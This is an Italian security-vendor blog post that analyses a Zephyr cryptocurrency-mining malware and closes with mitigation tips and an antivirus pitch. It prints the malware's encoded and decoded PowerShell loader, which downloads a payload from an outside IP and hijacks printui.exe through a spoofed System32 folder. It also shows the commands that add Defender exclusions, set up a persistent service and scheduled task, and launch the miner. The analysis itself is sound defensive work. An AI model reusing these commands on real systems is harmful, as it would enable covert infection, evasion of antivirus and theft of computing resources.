Persistere nell’ombra: analisi del malware per il mining di Zephyr

Al momento stai visualizzando Persistere nell’ombra: analisi del malware per il mining di Zephyr
  • Autore dell'articolo:
  • Categoria dell'articolo:news

Zephyr: analisi di un malware per mining di criptovalute: tecniche avanzate e rischi legati a minacce persistenti per la sicurezza digitale. Ma nessuna paura: Quick Heal è al tuo fianco!

Mining di Criptovalute

Il mining di cripto valute è quel processo con il quale individui o aziende usano il potere di calcolo di un computer per risolvere problemi matematici complessi, validare transazioni su una blockchain e guadagnare monete in cripto valute digitali. Questa attività è diventata sempre più popolare nel tempo, grazie alla continua crescita del valore delle monete digitali. I criminali non sono rimasti a guardare e hanno iniziato ed attaccare dispositivi di altri utenti per sfruttarli a proprio guadagno.

I criminali informatici spesso usano email di phishing o download ingannevoli per installare i software di mining senza che l’utente vittima ne sia a conoscenza. In questi casi si ha un uso illegittimo di software per il mining di criptovalute, quindi vengono chiamati malware per il mining di cripto valute. Questi malware, una volta installati, sfruttano le risorse della CPU e della GPU dei dispositivi causando rallentamenti del sistema, surriscaldamento e perfino danni all’hardware.

Questi script per il mining solitamente funzionano silenziosamente in background, nascondendosi tra i processi legittimi. Fatto, questo, che li rende solitamente difficili da individuare. Spesso impiegano anche tecniche di offuscamento del codice per eludere le soluzioni di sicurezza, comunicare con server esterni per inviare le monete “minate” così come modificare le impostazioni di sistema per mantenere attive le proprie operazioni.

Conoscere questa minaccia è quindi fondamentale per gli utenti.

Zephyr Coin: la cripto valuta della privacy

(ZEPH) è stata lanciata nel 2018 come valuta digitale che mette al centro la privacy e la sicurezza delle transazioni online. E’ stata creata per offrire alle persone una modalità sicura per scambiare e ricevere monete senza esporre dati personali. Zephyr Coin opera su un sistema detto “proof-of-stake” che significa che gli utenti possono guadagnare ricompense semplicemente trattenendo le proprie monete. Questo non solo rende la rete più sicura ma incoraggia anche altre persone a partecipare. Nel corso del tempo Zephyr ha guadagnato sempre maggior fiducia da parte degli utenti sia per le solide funzionalità a protezione della privacy sia per il design user-friendly.

L’aumento della popolarità di Zephyr ha attirato, purtroppo, anche l’attenzione dei cyber criminali. Gli attaccanti cercano utenti da attaccare per prendere il controllo dei loro dispositivi e sfruttarne il potere di calcolo. Ecco perchè gli utenti devono prestare molta attenzione e dotarsi di soluzioni di sicurezza solide per proteggere le proprie risorse.

Dettagli tecnici di Zephyr miner

La variante di questo malware è diffusa in 4 diverse modalità:

  1. Visual Basic Script – VBS
  2. Batch Processing File – BAT
  3. Script Powershell – PS1
  4. Portable Executable – PE

1. Esecuzione dello script Visual Basic – VBS processo di esecuzione

Per prima cosa verifica se esiste una specifica cartella (C:\Windows \System32\010101). Se esiste tenta di eliminare l’intera directory utilizzando un comando PowerShell. Lo script crea quindi una nuova directory in C:\Windows \System32 e vi copa printui.exe e un file il cui nome inizia per “x”d{6}.dat. Lo scopo di questo file è rinominare printui.exe in printui.dll. L’utilizzo di path con spazi, come C:\Windows \System32 indica un tentativo deliberato di offuscare le reali funzioni dello script, mentre in realtà manipola le risorse di sistema. Concluse queste azioni, esegue la copia dell’eseguibile facilitando così l’esecuzione di ulteriori attività dannose (vedi step 5 sotto).

2. Esecuzione del Batch Processing File – BAT

Lo script per prima cosa imposta il codice della pagina in UTF-8 e tenta di aprire una cartella random nella directory principale. Verifica quindi la presenza del file printui.dll nella cartella “System32” dei drive di sistema. Se il file non viene trovato, rimuove la cartella Windows usando il comando “rmdir” con le opzioni “/S” e “/Q”. Crea quindi una nuova cartella “Windows \System32” e copia “printui.exe” dalla location originale alla nuova cartella. Trasferisce poi il file “x”d{6}.dat, il cui compito è quello di rinominare printui.exe in printui.dll.

Lo script verifica quindi la presenza di entrambi il file printui.dll e printui.exe. Se entrambi sono presenti, esegue quindi printui.exe. Se il file manca, lo script rimuovere l’intera cartella “Windows \System32”. Quindi esegue l’eseguibile copiato facilitando così l’esecuzione di ulteriori attività dannose (vedi step 5 sotto).

3. Esecuzione del PowerShell

Questo è il comando in base 64

powershell -Command “$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String

“Zm9yICg7Oyl7DQoJKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzM3LjEuMTk2LjM1L3VuMi9ib3R1aS5kYXQiLCAiQzpcVXNlcnNcUHVibGljXHB5bGQuZGxsIik7DQoJU3RhcnQtU2xlZXAgLVNlY29uZHMgMjsNCglpZiAoVGVzdC1QYXRoICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiKXsNCgkJY21kIC9jIG1rZGlyICJcXD9cQzpcV2luZG93cyBcU3lzdGVtMzIiOw0KCQljbWQgL2MgeGNvcHkgL3kgIkM6XFdpbmRvd3NcU3lzdGVtMzJccHJpbnR1aS5leGUiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMiI7DQoJCWNtZCAvYyBtb3ZlIC95ICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmRsbCI7DQoJCVN0YXJ0LVNsZWVwIC1TZWNvbmRzIDI7DQoJCVN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmV4ZSI7DQoJCWJyZWFrOw0KCX0NCgllbHNlew0KCQlTdGFydC1TbGVlcCAtU2Vjb25kcyA2MDsNCgl9DQp9”.

Il comando decodificato è questo:
for (;;){
(New-Object System.Net.WebClient).DownloadFile("http://37.1.196.35/un2/botui.dat", "C:\Users\Public\pyld.dll");
Start-Sleep -Seconds 2;
if (Test-Path "C:\Users\Public\pyld.dll"){
cmd /c mkdir "\?\C:\Windows \System32";
cmd /c xcopy /y "C:\Windows\System32\printui.exe" "C:\Windows \System32";
cmd /c move /y "C:\Users\Public\pyld.dll" "C:\Windows \System32\printui.dll";
Start-Sleep -Seconds 2;
Start-Process -FilePath "C:\Windows \System32\printui.exe";
break;
}
else{ Start-Sleep -Seconds 60;
}
}

Lo script in base64, decodificato, contiene, come si vede, un comando PowerShell che scarica un file dall’URL http[:]//37.1.196.35/un2/botui.dat. Segue quindi lo stesso processo di esecuzione dello script già indicato sopra e, una volta che printui.exe è stato lanciato, opera nella stessa maniera descritta nel punto 5.

4. Esecuzione del Portable Executable – PE

Uno dei metodi con il quale viene diffuso questo malware è tramite file eseguibili (EXE / DLL). Quando un utente scarica, senza consapevolezza, ed esegue questi eseguibili dannosi attiva il processo di installazione del malware sul proprio sistema.

Ecco cosa accade:

1. Quando il malware viene eseguito crea, con l’uso di PowehrShell, una regola di esclusione in Windows Defender per la cartella C:\Windows\System32

  • powershell -Command “Add-MpPreference -ExclusionPath ‘C:\Windows\System32

2. Lancia quindi il file usvcinsta64.exe nella cartella System32 e lo esegue.

3. usvcinsta64.exe crea una nuova esclusione per

  • powershell -Command “Add-MpPreference -ExclusionPath ‘C:\Windows\System32’;”

e anche per il percorso dove c’è uno spazio dopo Windows ‘C:\Windows \System32

  • powershell -Command “Add-MpPreference -ExclusionPath ‘C:\Windows \System32’;”

Quindi crea una directory con cmd.exe /c mkdir “\?\C:\Windows \System32”. Quindi ci saranno due directory con lo stesso nome. Una sarà più vecchia, l’altra mostrerà una data più recente. L’attaccante crea una struttura di cartelle simili alle directory di sistema di Windows, ma con uno spazio nel nome per ingannare la macchina ed eseguire per primo il malware.

4. Come si può vedere in figura 3, esegue tutte le operazioni comuni menzionate nei punti precedenti. Quindi inizia eseguendo printui.exe dalla cartella creata dal malware (C:\Windows \System32).

• cmd.exe /c start “” “C:\Windows \System32\printui.exe”

5. Da qui in poi descriviamo il processo di esecuzione principale del malware

Printui.exe, una volta eseguito, crea nuovamente un’esclusione per la cartella System32 e crea i servizi per il file .da. Il nome del servizio è diverso per ciascuna variante. E’ un nome random dato dal malware, seguito da una X e dal formato xd{6}.dat.

  • cmd.exe /c sc create x638273 binPath= “C:\Windows\System32\svchost.exe -k DcomLaunch” type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x310586\Parameters /v ServiceDll /t REG_EXPAND_SZ /d “C:\Windows\System32\x310586.dat” /f && sc start x638273

6. Una volta registrato, il servizio è attivo e funzionante sotto service.exe (vedi punto 9).

Quindi avvia console_zero.exe da System32

  • cmd.exe /c start “” “C:\Windows\System32\console_zero.exe.

7. Il compito principale di console_zero.exe è verifica l’esistenza di qualsiasi attività pianificata chiamata “console_zero”, assicurandosi così di rimuovere vecchie istanze. Quindi crea una nuova attività pianificata che è impostata per eseguire i file .EXE con i massimi privilegi ogni volta che l’utente fa login nel sistema.

  • cmd.exe /c schtasks /create /tn “console_zero” /sc ONLOGON /tr “C:\Windows\System32\console_zero.exe” /rl HIGHEST /f

8. Quindi il malware assicura la persistenza in due moduli: uno come sevizio, l’altro come attività pianificata. Quindi usvcinsta64.exe viene cancellato, così come la cartella Windows /System32 e il sample principale. Un sistema, questo, molto usato per cancellare le tracce lasciate sul sistema.

Ecco qui concluso il processo di esecuzione del malware. Ma la parte principale del malware giace nascosta nei servizi in esecuzione nel sistema. Sotto diamo uno sguardo ai servizzi eseguito con svchost.exe.

Dettagli del Servizio in esecuzione

9. Il servizio in esecuzione sotto svchost.exe crea un esclusione per le cartelle C, D,E,F in Windows Defender coi seguenti comandi:

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command “Add-MpPreference -ExclusionPath ‘c:\windows\system32’;”
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command “Add-MpPreference -ExclusionPath ‘E:\’;”
  • C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command “Add-MpPreference -ExclusionPath ‘F:\’;”

10. Quindi lancia cmd.exe e si connette al pool di mining (2miners.com:2222) con le credenziali dell’utente e l’impostazione dei limiti di utilizzo delle risorse (max il 50% della CPU). Inizia così il mining della moneta Zephyr.

  • C:\Windows\System32\cmd.exe cmd.exe /c x310586.dat -o zeph.2miners.com:2222 -u ZEPHs8rW7aS82Z52aS3qh35jPcaYKHdrufzLCCCyXmqdFC8wRPpCTdLgoA1CaqJDa72zG8ZhsMmdMZyJkqDTadbSPbwt1s2ppYr –rig-id=x421236 –max-cpu-usage=50

In dettaglio:

  1. x310586dat – viene lanciato il programma;
  2. 2miners.com:2222 – specifica la pool di mining, con dominio e porta.
  3. ZEPHs8rW7aS82Z52aS3qh35jPcaYKHdrufzLCCCyXmqdFC8wRPpCTdLgoA1CaqJDa72zG8ZhsMmdMZyJkqDTadbSPbwt1s2ppYr – indirizzo del wallet di cripovaluta.
  4. Rig-id:x419395 – identificatore unico del setup di mining.
  5. Max-cpu-usage=50 – indica che il malware è configurato per utilizzare al massimo il 50% del potere di calcolo della CPU per le operazioni di mining.

Il wallet di Zepyhr: dettagli

In totale ci sono due indirizzi wallet Zephyr associati a questo tipo di campagne. L’immagine sotto mostra le statistiche relative agli indirizzo wallet presenti mentre il servizio è in esecuzione:

  • ZEPHs8rW7aS82Z52aS3qh35jPcaYKHdrufzLCCCyXmqdFC8wRPpCTdLgoA1CaqJDa72zG8ZhsMmdMZyJkqDTadbSPbwt1s2ppYr

  • ZEPHs7Ep8zTafTpfMEduqd5xGYLEvBJwcHXRpbA92fMjVJcji9EXQsDP5QQLVxmn7UTSTFqpmaVdE2ydBwupJctU2ggmsNvqxfd

Riassunto

Questo malware è una variante del crypto miner per la moneta virtuale Zephyr. E’ una forma molto sofisticata di miner che ha tutte le funzionalità e tecniche possibili per diventare persistente sul sistema ed eludere le modalità di rilevamento delle soluzioni antivirus. Nel complesso, il processo di esecuzione è riassumibile così.

  1. Esecuzione iniziale: l’attacco inizia con uno script / eseguibile che esegue una serie di comandi tramite EXE e PowerShell.
  2. Esclusione da Windows Defender: il malware aggiunge più volte la directory “C:\Windows\System32” alla lista di esclusione di Windows Defender per impedirne il rilevamento.
  3. Hijacking tramite aggiunta di uno spazio nel percorso della cartella: viene creata una cartella simile a “C:\Windows\System32” con uno spazio “C:\Windows\ Sytem32” per dirottare ed eseguire il malware.
  4. Creazione del servizio: il malware tenta la creazione di un nuovo servizio chiamato x310586 (6 caratteri random) che viene eseguito sotto EXE e punta ad una DLL dannosa x638273.dat). Il malware così può essere eseguito in maniera persistente come servizio, avviandosi automaticamente ad ogni boot del sistema.
  5. Più file per più operazioni: il malware lancia usvcinsta64.exe per creare “C:\Windows\ Sytem32” e lanciare EXE per la creazione del sevizio e “console_zero” per le attività pianificate.
  6. Operazioni di pulizia: alla fine, il malware cancella tutte le sue tracce eccetto quelle necessarie alla persistenza sul sistema.
  7. Attività di mining: il malware registrato come servizio si connette alla pool di mining (2miners.com:2222) per minare la valuta digitale e aggiungerla agli indirizzi specificati.

Mitigazione del miner di Zephyr

Per mitigare il rischio di malware che sfruttano le risorse di sistema per il mining di criptovaluta è necessario prendere una serie di misure proattive.

  • Gli aggiornamenti regolari dei software sono essenziali per proteggersi dalle vulnerabilità dei sistemi operativi e delle applicazioni.
  • L’utilizzo di un potente software antivirus con protezione in tempo reale e scansioni periodiche può aiutare a rilevare e rimuovere software dannosi.
  • La limitazione dei privilegi amministrativi può impedire installazioni non autorizzate, mentre gli strumenti di monitoraggio delle risorse possono identificare un utilizzo insolito di CPU e GPU indicativo di attività di mining.
  • La configurazione dei firewall per bloccare le connessioni in uscita non autorizzate, in particolare verso pool minerari noti, aggiunge un ulteriore livello di sicurezza.

Insieme, queste strategie possono migliorare significativamente la difesa di un’organizzazione contro il malware di mining di criptovalute.

L’individuazione da parte di Quick Heal

Gli antivirus Quick Heal individuano efficacemente tutte le varianti del malware di cripto mining, non solo quello di Zephyr, compresi sia i file PE che non PE. Utilizzano sia metodo statici che dinamici di analisi, garantendo così l’immediata individuazione delle minacce responsabili delle attività di mining.

Ioc

Zephyr Miner IOCs